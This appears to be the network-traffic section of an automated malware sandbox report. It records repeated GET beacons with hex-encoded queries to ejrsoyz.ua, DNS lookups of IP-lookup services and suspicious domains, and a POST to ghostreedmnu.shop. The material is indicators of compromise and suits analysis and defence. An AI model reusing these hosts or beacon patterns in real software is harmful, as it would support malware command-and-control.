Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)
Source: global traffic	HTTP traffic detected: GET /search/?q=67e28dd86b0ba17e400ea81a7c27d78406abdd88be4b12eab517aa5c96bd86e8908744815a8bbc896c58e713bc90c94c36b5281fc235a925ed3e54d6bd974a95129070b417e96cc92be510b866db52b2e34ae84c2b14a82966836f23d7f210c7ed929f3dc96f9113 HTTP/1.1Host: ejrsoyz.uaUser-Agent: Mozilla/5.0 (Windows; U; MSIE 9.0; Windows NT 9.0; en-US)

Source: global traffic	DNS traffic detected: DNS query: api64.ipify.org
Source: global traffic	DNS traffic detected: DNS query: ipinfo.io
Source: global traffic	DNS traffic detected: DNS query: marafon.in
Source: global traffic	DNS traffic detected: DNS query: cdn.discordapp.com
Source: global traffic	DNS traffic detected: DNS query: fivevh5pt.top
Source: global traffic	DNS traffic detected: DNS query: iplog.co
Source: global traffic	DNS traffic detected: DNS query: ghostreedmnu.shop
Source: global traffic	DNS traffic detected: DNS query: ejrsoyz.ua

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: ghostreedmnu.shop

Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 28 Sep 2024 22:53:21 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 28 Sep 2024 22:53:22 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Type: text/html; charset=iso-8859-1
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 28 Sep 2024 22:53:22 GMTServer: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30Content-Length: 301Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 35 38 20 28 57 69 6e 36 34 29 20 4f 70 65 6e 53 53 4c 2f 33 2e 31 2e 33 20 50 48 50 2f 38 2e 30 2e 33 30 20 53 65 72 76 65 72 20 61 74 20 31 30 33 2e 31 33 30 2e 31 34 37 2e 32 31 31 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><hr><address>Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Server at 103.130.147.211 Port 80</address></body></html>
